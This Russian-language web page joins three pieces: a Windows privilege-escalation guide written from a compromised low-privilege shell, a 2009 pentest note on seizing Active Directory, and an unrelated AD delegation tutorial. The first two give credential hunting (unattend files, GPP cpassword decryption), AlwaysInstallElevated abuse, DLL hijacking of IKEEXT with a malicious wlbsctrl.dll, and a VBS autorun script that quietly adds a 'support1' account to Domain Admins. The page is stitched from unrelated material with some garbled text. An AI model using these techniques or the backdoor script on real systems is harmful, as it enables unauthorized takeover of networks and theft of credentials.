Повышение привилегий в домене windows

Время на прочтение
10 мин

Количество просмотров 42K

Решил для себя и для тех, кому будет полезно, собрать все что знаю, но не помню по теме, в этой статье. Делитесь советами. Основным источником этой статьи является эта.

Я вольно перевел и добавил немного от себя, того, что насобирал и узнал из других источников.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий.

Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС"

Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

Далее важно узнать имя машины и имя пользователя, под которым мы подключились.

• hostname — имя пользователя.
• echo %username% — имя пользователя.

Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.

• net users — другие пользователи
• net user user1 — детальная информация по пользователю, где user1 — имя вашего пользователя.

Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

• ipconfig /all — информация об имеющихся интерфейсах.
• route print — таблица маршрутизации
• arp -A — таблица arp записей

Далее посмотрим активные сетевые подключения и правила брандмауэра.

• netstat -ano — активные сетевые подключения.

-a — запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой;
-n — параметр позволяет показать активные подключения TCP с адресами и номерами портов;
-o — так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.

• netsh firewall show state — статус брандмауэра
• netsh firewall show config — конфигурация брандмауэра

Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.

schtasks /query /fo LIST /v

где
/query — Вывод данных о всех запланированных задачах,
/fo LIST — Вывод в список.
/v — Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

tasklist /SVC

где,
/SVC — Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

net start

Полезно также посмотреть информацию о драйверах скомпрометированной системы.

DRIVERQUERY

Далее хочется упомянуть о, наверное, самой полезной команде Windows — wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание.

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю — параметры программы:

wmic /?

Хороший скрипт по сбору инфы через wmic.

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

• c:\sysprep.inf
• c:\sysprep\sysprep.xml
• %WINDIR%\Panther\Unattend\Unattended.xml
• %WINDIR%\Panther\Unattended.xml

Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64.
Примеры:

Sysprep.inf — пароль в открытом виде.

»

Sysprep.xml — пароль в кодировке base64.

»

Unattended.xml — пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool. Сначала раскодируем Base64.
Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=».
У меня вышло 2 «=».

Далее расшифруем. Применяя тот ключ, что выше.

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

• Services\Services.xml
• ScheduledTasks\ScheduledTasks.xml
• Printers\Printers.xml
• Drives\Drives.xml
• DataSources\DataSources.xml

Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit.

Ладно, дальше. Будем искать странный параметр реестра „AlwaysInstallElevated“. Данный параметр разрешает непривилегированным пользователям устанавливать .msi файлы из-под NT AUTHORITY\SYSTEM.

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

dir /s *pass* == *cred* == *vnc* == *.config*

Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.

findstr /si password *.xml *.ini *.txt

Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь — использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

-c В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб)
-d Обрабатывать только каталоги
-e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista)
-k В качестве имени указан раздел реестра, например hklm\software
-n Выводить только объекты, не имеющие правил доступа
-p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы)
-q Опустить заголовок
-r Выводить только объекты, к которым есть право доступа на чтение
-s Рекурсивная обработка
-v Выводить подробную информацию
-w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

autorunsc.exe -a | findstr /n /R "File\ not\ found"

Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Далее рассмотрим две уязвимости:

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738). 

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

1. Директория с которой запущено приложение
2. 32-bit System directory (C:\Windows\System32)
3. 16-bit System directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. Действующая рабочая директория (CWD)
6. Directories in the PATH environment variable (system then user)

Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:\“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> icacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

F — полный доступ.
(OI) — наследование объектами.
(CI) — наследование контейнерами.
(IO) — только наследование.
(NP) — запрет на распространение наследования.
(I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE			: 20  WIN32_SHARE_PROCESS
        START_TYPE		: 2   AUTO_START
        ERROR_CONTROL		: 1   NORMAL
        BINARY_PATH_NAME		: C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP		:
        TAG			: 0
        DISPLAY_NAME		: IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES		: BFE
        SERVICE_START_NAME	: LocalSystem

Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:\Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

copy evil.dll C:\Python27\wlbsctrl.dll

После этого осталось только дождаться перезагрузки системы. 

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM.
Проверяем права доступа на папку, где находится наша цель.

accesschk.exe -dqv "путь_к_цели"

Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

Найти все слабые разрешения для файлов на диске.

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

Вроде всё.

Поднятие привилегий в домене. Что может быть проще.

17 апреля, 2009

Проводя внутренние пентесты в корпоративном секторе, я зачастую сталкиваюсь с множеством проблем ИБ, которые позволяют получить привилегии Администратора каталога Active Directory . Про наиболее простые из эксплуатируемых векторов в моей практике далее в этой заметке.
1. Безалаберность

На моей памяти зафиксировано уже несколько эпизодов, когда поднять привилегии в домене до уровня [Domain Adminsk удается путем получения доступа к различным бэкапам контроллера домена:) В основном отрабатывают следующие вектора:

name=’more’>
— Простой поиск по общим сетевым ресурсам
— Проблемы с Patch Management (яркий пример: использование уязвимой версии CA BrightStor ARCserve)
— Хранение System state контроллера домена на уязвимом standalone-сервере
— Использование брутабельных паролей на различных ресурсах сети

Рекомендации по закрытию вектора самые банальные: использовать [правильноеk разграничение доступа, не хранить важные данные на серверах типа [файловых помоекk, своевременно устанавливать обновления от производителей и использовать стойкие и не повторяющиеся пароли для доступа к информационным ресурсам.
2. Беспечность

В сетях с большим числом пользователей применяют механизмы простого и быстрого развертывания операционных систем на компьютерах конечных пользователей. Для этого используют заранее подготовленные образы операционных систем или возможности unattend-развертывания. И, как показывает распространенная практика, локальная учетная запись администратора на подобных компьютерах остается включенной после завершения установки операционной системы. Причем, чтобы не запутаться в паролях, на всех локальных учетных записях администраторов используется один и тот же пароль:) Безусловно, разделяют пароль для локального администратора клиентской операционной системы и серверной. А в некоторых случаях даже производят регулярную смену этого пароля, но порой даже эта мера не спасает системы от их компрометации. Уязвимость возникает в том случае, когда в SAM-базе операционной системы хранится LM-хеш от пароля локального администратора и используемый пароль не превышает 14-ти символов, либо используется брутабельный пароль на основе NTLM-хеша. Соответственно, добравшись до SAM-базы, становится возможным скомпрометировать большинство компьютеров в сети, в том числе рабочую станцию администратора домена, что фактически позволяет получить полный контроль над доменом.
Нужно добавить, что в доменной архитектуре локальная учетная запись не требуется. И даже будучи отключенной, она доступна при загрузке в безопасном режиме. Подробнее: support.microsoft.com

Другой пробиваемый вектор атаки заключается в том, что администраторы домена зачастую подключаются под привилегированной учетной записью на обслуживаемые ими сервера, в том числе и на тестовые, а порой даже для выполнения задач администрирования на пользовательских рабочих станциях. Таким образом, получив контроль над одним таким сервером или рабочей станцией, возможно, достаточно тривиально получить расширенные привилегии в домене.
Например, следующий сценарий на vbs, будучи помещенный в автозагрузку, создаст учетную запись [support1k с паролем [P@ssw0rdk в AD и поместит ее в группу [Domain Adminsk, если на компьютер в интерактивном режиме залогинится пользователь с соответствующими привилегиями.

On Error Resume Next
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject(«ADSystemInfo»)
strUserDN = objSysInfo.userName
Set objUser = GetObject(«LDAP://» & strUserDN)
If IsMember(«Domain Admins») Then
Set objRoot = GetObject(«LDAP://rootDSE»)
Set objContainer = GetObject(«LDAP://cn=Users,» & objRoot.Get(«defaultNamingContext»))
Set objUser = objContainer.Create(«User», «cn=support1»)
objUser.Put «sAMAccountName», «support1»
objUser.SetInfo
objUser.SetPassword «P@ssw0rd»
objUser.Put «userAccountControl», 512
objUser.SetInfo
Set objGroup = GetObject («LDAP://cn=Domain Admins, cn=Users,» & objRoot.Get(«defaultNamingContext»))
objGroup.PutEx 3, «member», Array(«cn=support1, cn=Users,» & objRoot.Get(«defaultNamingContext»))
objGroup.SetInfo
End If
Function IsMember(strGroup)
Dim objGroupList
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject(«Scripting.Dictionary»)
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
objGroupList(objGroup.sAMAccountName) = True
Next
End If
IsMember = objGroupList.Exists(strGroup)
End Function

Рекомендации по закрытию вектора следующие: отключить локальную учетную запись администратора на всех доменных компьютерах, использовать учетные записи с пониженными привилегиями при выполнении задач администрирования, осуществлять мониторинг доступа к ресурсам, в том числе доступа к Active Directory (изменение членства групп, создание новых объектов и т.д.).
3. Незнание

Очень эффективным методом получения расширенных привилегий в домене при проведении внутреннего пентеста по-прежнему является атака MITM и банальный снифинг всего трафика. Первый вектор это, конечно же, ARP-spoofing при котором есть место и элегантным атакам. Например, при реализации вектора атаки возможно снизить уровень проверки подлинности SMB на более простой, что позволяет легко восстановить пароль по перехваченным значениям hashes/challenge. Также, при использовании уязвимого протокола RDP, существует возможность перехватить вводимый пароль в виде открытого текста:)

Второй вектор чаще всего реализуем после успешной атаки на сетевое оборудование (сеть на концентраторах уже уходит в прошлое). Например, атака на перевод порта коммутатора, к которому подключен ноутбук аудитора, в режим trunk, либо переконфигурирование оборудования через SNMP community.
Рекомендации по закрытию вектора: [грамотноеk разделение сети на подсети (технологическую, пользовательскую и т.п.), настройка сетевого оборудования и Active Directory в соответствии с рекомендациями CIS, своевременная установка обновлений от производителей.

уязвимости
pentest
аудит
vulns
тест на проникновение

Цифровые следы — ваша слабость, и хакеры это знают. Подпишитесь и узнайте, как их замести!

В этой статье мы рассмотрим особенности делегирования полномочий в домене Active Directory. Делегирование позволяет предоставить право на выполнение некоторых задач управления AD обычным пользователям домена, не включая их в привилегированные доменные группы, такие как Domain Admins, Account Operators и т.д.. Например, с помощью делегирования вы можете предоставить определённой группе пользователей (допустим, Helpdesk) право на добавление пользователей в группы, заведение новых пользователей в AD и сброс пароля.

Особенности делегирования прав в Active Directory

Для делегирования прав в AD используется мастер Delegation of Control Wizard в графической оснастке Active Directory Users and Computers (DSA.msc).

Административные права в AD можно делегировать на довольно детальном уровне. Одной группе можно предоставить право на сброс пароля в OU, другой – на создание и удаление аккаунтов, третьей на сброс пароля. Можно настроить наследование разрешений на вложенные OU. Вы можете делегировать права в AD на четырех уровнях:

1. Сайта AD;
2. Всего домена;
3. Конкретной OU в Active Directory;
4. Конкретного объекта AD.

Несколько рекомендаций по правильному использованию делегирования администраивных полномочий в AD:

• Не рекомендуется делегировать разрешения непосредственно для кокретных учетных записей пользователей. Вместо этого создайте в AD новую группу безопасности, добавьте в нее пользователя и делегируйте полномочия на OU для этой группы. Если вам понадобится предоставить такие же права в домене еще одному пользователю, вам будет достаточно добавить его в группу безопасности;
• Старайтесь не использовать запрещающих разрешений, т.к. они имеют приоритет над разрешающими;
• Периодически выполняйте аудит делегированных полномочий в домене (отчет с текущими списками разрешений на OU можно сгенерировать с помощью PowerShell).
• Не делегируйте права на управление OU с административными аккаунтами. Иначе легко может произойти ситуация, когда любой сотрудник службы поддержки может сбросить пароль администратора домена. Все чувствительные пользователи и группы с повышенными привилегиями нужно размещать в отдельной OU, на которую не распространяется правила делегирования.

Делегирование прав на сброс паролей и разблокировку учетных записей

Представим, наша задача – предоставить группе HelpDesk право на сброс пароля и разблокировку аккаунтов пользователей в домене. Итак, создадим новую группу в AD с помощью PowerShell:

New-ADGroup "HelpDesk" -path 'OU=Groups,OU=Moscow,DC=corp,dc=winitpro,DC=ru' -GroupScope Global

Добавьте в группу нужных пользователей:

Add-AdGroupMember -Identity HelpDesk -Members ivanovaa, semenovvb

Запустите консоль Active Directory Users and Computers (ADUC), щелкните ПКМ по OU с пользователями (в нашем примере это ‘OU=Users,OU=Moscow,DC=corp,dc=winitpro,DC=ru’) и выберите пункт меню Delegate Control.

Выберите группу, которой вы хотите предоставить административные полномочия.

Выберите из списка один из преднастроенных наборов привилегий (Delegate the following common tasks):

• Create, delete, and manage user accounts;
• Reset user passwords and force password change at next logon;
• Read all user information;
• Create, delete and manage groups;
• Modify the membership of a group;
• Manage Group Policy links;
• Generate Resultant Set of Policy (Planning);
• Generate Resultant Set of Policy (Logging);
• Create, delete, and manage inetOrgPerson accounts;
• Reset inetOrgPerson passwords and force password change at next logon;
• Read all inetOrgPerson information.

Либо создайте собственное задание делегирования (Create a custom task to delegate). Я выберу второй вариант.

Выберите тип объектов AD, на которые нужно предоставить права. Т.к. нам нужно предоставить права на учетные записи пользователей, выберите пункт User Object. Если вы хотите предоставить право на создание и удаление пользователей в этом OU, выберите опции Create/Delete selected objects in this folder. В нашем примере мы не предоставляем таких полномочий.

В списке разрешений нужно выбрать те привилегий, которые вы хотите делегировать. В нашем примере мы выберем право на разблокировку (Read lockoutTime и Write lockoutTime) и сброс пароля (Reset password).

Нажмите Next и на последнем экране подтвердите назначение выбранных полномочий.

Теперь под учетной записью пользователя из группы HelpDesk попробуйте из PowerShell сбросить пароль пользователя из OU Users, например из PowerShell:

Set-ADAccountPassword petricdb -Reset -NewPassword (ConvertTo-SecureString -AsPlainText “PPPPa$$w0rd1” -Force -Verbose) –PassThru

Пароль должен сброситься успешно (если он соответствует доменной политике паролей).

Теперь попробуйте создать пользователя в данной OU с помомью командлета New-ADUser:

New-ADUser -Name kalininda -Path 'OU=Users,OU=Moscow,OU=winitpro,OU=DC=ru' -Enabled $true

Должна появится ошибка доступа, т.к. вы не делегировали полномочий на создание учетных записей.

Для контроля действий пользователей, которым вы делегированными административные права, вы можете использовать журналы контроллеров домена. Например, вы можете отследить кто сбросил пароль пользователя в домене, узнать кто создал учетную запись пользователя в AD или отследить изменения в определённых группах AD.

Предоставление права на добавление компьютеров в домен AD

По умолчанию любой пользователь домена может присоединить в домен 10 компьютеров. При добавлении в домен 11-го компьютера появится ошибка:

Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.

Вы можете изменить это ограничение на уровне всего домена, увеличив значение в атрибуте ms-DS-MachineAccountQuota (ссылка). Либо (гораздо правильнее и безопаснее), делегировав право на ввод компьютеров в домен в определенной OU конкретной группе пользователей (helpdesk). Для этого нужно предоставить право создавать объекты типа (Computer objects). В мастере делегирования выберите Create selected objects in this folder.

А в секции Permissions выберите Create All Child Objects.

Если вы хотите делегировать права на перемещение объектов между организационными подразделениями в AD, нужно предоставить следующие расрешения: Delete User objects, Write Distinguished Name, Write name (**), Create User (или Computer) objects.

Просмотр и удаление назначенных прав в Active Directory

На любую OU в AD можно назначить любое количество правил делегирования. Вы можете получить список групп и делегированные им права в свойствах OU в консоли ADUC. Перейдите на вкладку Security.

Здесь содержится список объектов AD, которым предсоатвлены разрешения на этот контейнер. Список предоставленных полномочий можно посмотреть на вкладке Advanced. Как вы видите для группы HelpDesk разрешен сброс паролей.

Вы можете лишить определенную группу администраивных прав, назначенных ранее через делегирование. В списке разрешений найдите группу, который вы делегировали права и нажмите Remove.

Также со вкладки Security -> Advanced вы можете самостоятельно настроить делегирование полномочий, назначая нестандартные разрешений различным группам безопасности.

Делегирование прав в Active Directory с помощью PowerShell

С помощью PowerShell вы можете вывести список прав, которые делегированы на OU или изменить текущие разрешения. Для получения и изменения прав в Active Directory используются командлеты
Get-ACL
и
Set-ACL
(эти же командлеты PowerShell используются для управления NTFS разрешения на файлы и папки).

Следующий простой скрипт выведет список нестандартных разрешений, которые делегированы на определенное организационное подразделение в AD:

# Получаем OU
$OUs = Get-ADOrganizationalUnit -Filter 'DistinguishedName -eq "OU=Users,OU=NSK,DC=winitpro,DC=ru"'| Select-Object -ExpandProperty DistinguishedName
$schemaIDGUID = @{}
$ErrorActionPreference = 'SilentlyContinue'
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(schemaIDGUID=*)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter '(objectClass=controlAccessRight)' -Properties name, rightsGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.rightsGUID,$_.name)}
$ErrorActionPreference = 'Continue'
ForEach ($OU in $OUs) {
$report += Get-Acl -Path "AD:\$OU" |
Select-Object -ExpandProperty Access |
Select-Object @{name='organizationalUnit';expression={$OU}}, `
@{name='objectTypeName';expression={if ($_.objectType.ToString() -eq '00000000-0000-0000-0000-000000000000') {'All'} Else {$schemaIDGUID.Item($_.objectType)}}}, `
@{name='inheritedObjectTypeName';expression={$schemaIDGUID.Item($_.inheritedObjectType)}}, `
*
}
# отчет с назначенными правами на OU

Вы можете получить отчет с разрешениями в виде графической таблицы Out-GridView:

$report| where {($_.IdentityReference -notlike "*BUILTIN*") -and ($_.IdentityReference -notlike "*NT AUTHORITY*") }| Out-GridView

Или экспортировать права в CSV файл для дальнейшего анализа в Excel (из скрипта PowerShell можно писать строки напрямую в Excel файл):
$report | Export-Csv -Path "C:\ps\ADOU_Permissions.csv" –NoTypeInformation

В полученном отчете сразу видно, что для группы HelpDesk делегированы права на сброс паролей пользователей в OU.

Для делегирования прав на OU можно использовать утилиту dsacls. Например:

dsacls "ou=users,ou=msk, dc=winitpro,dc=ru" /I:S /G "WINITPRO\HELPDESK:CA;Reset Password;user" "WINITPRO\HELPDESK:WP;pwdLastSet;user" "WINITPRO\HELPDESK:WP;lockoutTime;user

Также вы можете назначить права на организационный контейнер с помощью PowerShell (в этом примере делегируются права на сброс пароля):

$ou = "AD:\OU=test,DC=test,DC=com"
$group = Get-ADGroup helpdesk
$sid = new-object System.Security.Principal.SecurityIdentifier $group.SID
$ResetPassword = [GUID]"00299570-246d-11d0-a768-00aa006e0529"
$UserObjectType = "bf967aba-0de6-11d0-a285-00aa003049e2"
$ACL = get-acl $OU
$RuleResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, "ExtendedRight", "Allow", $ResetPassword, "Descendents", $UserObjectType)
$ACL.AddAccessRule($RuleResetPassword)
Set-Acl -Path $OU -AclObject $ACL

По аналогии с помощью PowerShell можно делегировать и другие права на организационные контейнеры AD.